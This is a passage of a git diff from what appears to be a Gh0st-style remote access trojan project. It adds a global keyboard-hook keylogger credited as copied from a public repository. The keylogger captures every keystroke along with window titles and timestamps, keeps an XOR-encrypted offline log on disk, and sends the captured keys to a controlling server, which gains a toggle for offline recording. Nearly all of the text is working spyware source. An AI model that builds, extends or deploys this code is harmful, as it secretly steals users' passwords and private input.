CreateFileA( + filename.c_str(), // 文件路径 + GENERIC_WRITE, // 写权限 + 0, // 不共享 + NULL, // 默认安全属性 + CREATE_ALWAYS, // 如果文件存在则覆盖 + FILE_ATTRIBUTE_NORMAL, // 常规文件属性 + NULL // 不需要模板文件 + ); + + if (hFile == INVALID_HANDLE_VALUE) { + LeaveCriticalSection(&m_cs); + return false; // 打开文件失败 + } + + // 写入缓冲区中的所有数据 + int bytesWritten = 0; + DWORD bytesToWrite = totalSize; + const int size = 64*1024; + char *buffer = new char[size]; + while (bytesWritten < totalSize) { + DWORD bufferSize = min(bytesToWrite, size); + + // 填充缓冲区 + for (int i = 0; i < bufferSize && m_read != m_write; ) { + buffer[i++] = m_buffer[m_read]; + m_read = (m_read + 1) % m_size; + } + + // 加密数据 + XORData(buffer, bufferSize); + + // 写入文件 + DWORD bytesActuallyWritten = 0; + if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) { + CloseHandle(hFile); + LeaveCriticalSection(&m_cs); + delete[] buffer; + return false; // 写入失败 + } + + bytesWritten += bytesActuallyWritten; + bytesToWrite -= bytesActuallyWritten; + } + delete[] buffer; + + // 关闭文件句柄 + CloseHandle(hFile); + LeaveCriticalSection(&m_cs); + + return true; + } +}; class CKeyboardManager1 : public CManager { public: - CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr); + CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL); virtual ~CKeyboardManager1(); + virtual void Notify(); virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); static DWORD WINAPI KeyLogger(LPVOID lparam); static DWORD WINAPI SendData(LPVOID lparam); - + BOOL m_bIsOfflineRecord; HANDLE m_hWorkThread,m_hSendThread; - DWORD dKeyBoardSize; TCHAR m_strRecordFile[MAX_PATH]; private: BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); int sendStartKeyBoard(); - int sendOfflineRecord(DWORD dwRead = 0); + int sendKeyBoardData(LPBYTE lpData, UINT nSize); bool m_bIsWorking; + CircularBuffer *m_Buffer; }; -#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_) +#undef BUFFER_SIZE + +#endif diff --git a/client/Manager.h b/client/Manager.h index b5ea51d..8e46a6b 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -13,6 +13,7 @@ #include "IOCPClient.h" #define ENABLE_VSCREEN 1 +#define ENABLE_KEYBOARD 1 HDESK SelectDesktop(TCHAR* name); @@ -43,6 +44,13 @@ public: VOID WaitForDialogOpen(); VOID NotifyDialogIsOpen(); + BOOL IsConnected() const { + return m_ClientObject->IsConnected(); + } + BOOL Reconnect() { + return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; + } + virtual void Notify() { } int Send(LPBYTE lpData, UINT nSize); virtual void SetReady(BOOL ready = true) { m_bReady = ready; } }; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 730f391..d72a827 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -182,6 +182,7 @@ + @@ -211,6 +212,7 @@ + diff --git a/client/keylogger.cpp b/client/keylogger.cpp new file mode 100644 index 0000000..8565cb9 --- /dev/null +++ b/client/keylogger.cpp @@ -0,0 +1,217 @@ +#include "keylogger.h" +#include +#include +#include +#include +#include +#include +#include + +#if USING_KB_HOOK + +// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp +// 2024/02/07 source code last modified +// 2025/02/24 this file last modified + +////////////////////////////////////////////////////////////////////////// + +// defines whether the window is visible or not +// should be solved with makefile, not in this file +#define visible // (visible / invisible) +// Defines whether you want to enable or disable +// boot time waiting if running at system boot. +#define bootwait // (bootwait / nowait) +// defines which format to use for logging +// 0 for default, 10 for dec codes, 16 for hex codex +#define FORMAT 0 +// defines if ignore mouseclicks +#define mouseignore +// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally +// or you will get problems since every function uses this variable. + +#if FORMAT == 0 +const std::map keyname{ + {VK_BACK, "[BACKSPACE]" }, + {VK_RETURN, "\n" }, + {VK_SPACE, "_" }, + {VK_TAB, "[TAB]" }, + {VK_SHIFT, "[SHIFT]" }, + {VK_LSHIFT, "[LSHIFT]" }, + {VK_RSHIFT, "[RSHIFT]" }, + {VK_CONTROL, "[CONTROL]" }, + {VK_LCONTROL, "[LCONTROL]" }, + {VK_RCONTROL, "[RCONTROL]" }, + {VK_MENU, "[ALT]" }, + {VK_LWIN, "[LWIN]" }, + {VK_RWIN, "[RWIN]" }, + {VK_ESCAPE, "[ESCAPE]" }, + {VK_END, "[END]" }, + {VK_HOME, "[HOME]" }, + {VK_LEFT, "[LEFT]" }, + {VK_RIGHT, "[RIGHT]" }, + {VK_UP, "[UP]" }, + {VK_DOWN, "[DOWN]" }, + {VK_PRIOR, "[PG_UP]" }, + {VK_NEXT, "[PG_DOWN]" }, + {VK_OEM_PERIOD, "." }, + {VK_DECIMAL, "." }, + {VK_OEM_PLUS, "+" }, + {VK_OEM_MINUS, "-" }, + {VK_ADD, "+" }, + {VK_SUBTRACT, "-" }, + {VK_CAPITAL, "[CAPSLOCK]" }, +}; +#endif + +// A callback function for processing record by user. +typedef int (CALLBACK* Callback)(const char* record, void* user); + +// Global variables. + +HHOOK _hook = NULL; +Callback _cllback = NULL; +void* _user = NULL; + +// Save parse keyboard information and use callback to process record. +int Save(int key_stroke) +{ + std::stringstream output; + static char lastwindow[MAX_PATH] = {}; +#ifndef mouseignore + if ((key_stroke == 1) || (key_stroke == 2)) + { + return 0; // ignore mouse clicks + } +#endif + HWND foreground = GetForegroundWindow(); + HKL layout = NULL; + + if (foreground) + { + // get keyboard layout of the thread + GET_PROCESS_EASY(GetWindowThreadProcessId); + DWORD threadID = GetWindowThreadProcessId(foreground, NULL); + GET_PROCESS_EASY(GetKeyboardLayout); + layout = GetKeyboardLayout(threadID); + } + + if (foreground) + { + char window_title[MAX_PATH] = {}; + GET_PROCESS_EASY(GetWindowTextA); + GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH); + + if (strcmp(window_title, lastwindow) != 0) + { + strcpy_s(lastwindow, sizeof(lastwindow), window_title); + // get time + SYSTEMTIME s; + GetLocalTime(&s); + char tm[64]; + sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, + s.wHour, s.wMinute, s.wSecond); + + output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]"; + } + } + +#if FORMAT == 10 + output << '[' << key_stroke << ']'; +#elif FORMAT == 16 + output << std::hex << "[" << key_stroke << ']'; +#else + if (keyname.find(key_stroke) != keyname.end()) + { + output << keyname.at(key_stroke); + } + else + { + GET_PROCESS_EASY(GetKeyState); + // check caps lock + bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); + + // check shift key + if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 + || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) + { + lowercase = !lowercase; + } + + // map virtual key according to keyboard layout + GET_PROCESS_EASY(MapVirtualKeyExA); + char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout); + + // tolower converts it to lowercase properly + if (!lowercase) + { + key = tolower(key); + } + output << char(key); + } +#endif + // instead of opening and closing file handlers every time, keep file open and flush. + if (NULL != _cllback) + { + _cllback(output.str().c_str(), _user); + } + + return 0; +} + +// This is the callback function. Consider it the event that is raised when, in this case, +// a key is pressed. +LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode >= 0) + { + // the action is valid: HC_ACTION. + if (wParam == WM_KEYDOWN) + { + // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. + // This struct contains the data received by the hook callback. As you see in the callback function + // it contains the thing you will need: vkCode = virtual key code. + KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); + + // save to file + Save(kbdStruct.vkCode); + } + } + + // call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops + GET_PROCESS_EASY(CallNextHookEx); + return CallNextHookEx(_hook, nCode, wParam, lParam); +} + +// Set the hook and set it to use the callback function provided. +bool SetHook(Callback callback, void* user) +{ + if (NULL != _hook) + return true; + + // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. + // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the + // function that sets and releases the hook. + GET_PROCESS_EASY(SetWindowsHookExA); + if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0))) + { + _cllback = callback; + _user = user; + return true; + } + return false; +} + +// Release the hook. +void ReleaseHook() +{ + if (NULL != _hook) + { + GET_PROCESS_EASY(UnhookWindowsHookEx); + UnhookWindowsHookEx(_hook); + _hook = NULL; + _cllback = NULL; + _user = NULL; + } +} + +#endif diff --git a/client/keylogger.h b/client/keylogger.h new file mode 100644 index 0000000..e6f0d59 --- /dev/null +++ b/client/keylogger.h @@ -0,0 +1,15 @@ +#pragma once + +#include + +// 是否使用全局键盘钩子 +#define USING_KB_HOOK 1 + +#define GET_PROCESS_EASY(p) +#define GET_PROCESS(p, q) + +typedef int (CALLBACK* Callback)(const char* record, void* user); + +bool SetHook(Callback callback, void* user); + +void ReleaseHook(); diff --git a/common/commands.h b/common/commands.h index 9c0f9ec..717bd05 100644 --- a/common/commands.h +++ b/common/commands.h @@ -567,6 +567,8 @@ public: } } CONNECT_ADDRESS ; +#define FOREVER_RUN 2 + // 客户端程序线程信息结构体, 包含5个成员: // 运行状态(run)、句柄(h)、通讯客户端(p)、调用者参数(user)和连接信息(conn). struct ThreadInfo @@ -577,6 +579,18 @@ struct ThreadInfo void* user; CONNECT_ADDRESS* conn; ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { } + void Exit(int wait_sec = 15) { + run = FALSE; + for (int count = 0; p && count++ < wait_sec; Sleep(1000)); +#ifdef _WIN32 + if (p) TerminateThread(h, 0x20250626); + if (p) CloseHandle(h); +#endif + p = NULL; + h = NULL; + user = NULL; + conn = NULL; + } }; struct PluginParam { diff --git a/common/iniFile.h b/common/iniFile.h index 2eb4774..29344f9 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -2,6 +2,9 @@ #include "common/commands.h" +#define YAMA_PATH "Software\\YAMA" +#define CLIENT_PATH "Software\\ServerD11" + class config { private: @@ -49,10 +52,10 @@ private: public: ~iniFile() {} - iniFile() + iniFile(const std::string& path = YAMA_PATH) { m_hRootKey = HKEY_CURRENT_USER; - m_SubKeyPath = "Software\\YAMA"; + m_SubKeyPath = path; } // 写入整数,实际写为字符串 diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 51da354..82e1625 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -155,9 +155,9 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) if (nID == IDM_ENABLE_OFFLINE) { CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { - BYTE bToken = COMMAND_KEYBOARD_OFFLINE; - m_iocpServer->Send(m_pContext, &bToken, 1); m_bIsOfflineRecord = !m_bIsOfflineRecord; + BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord }; + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); else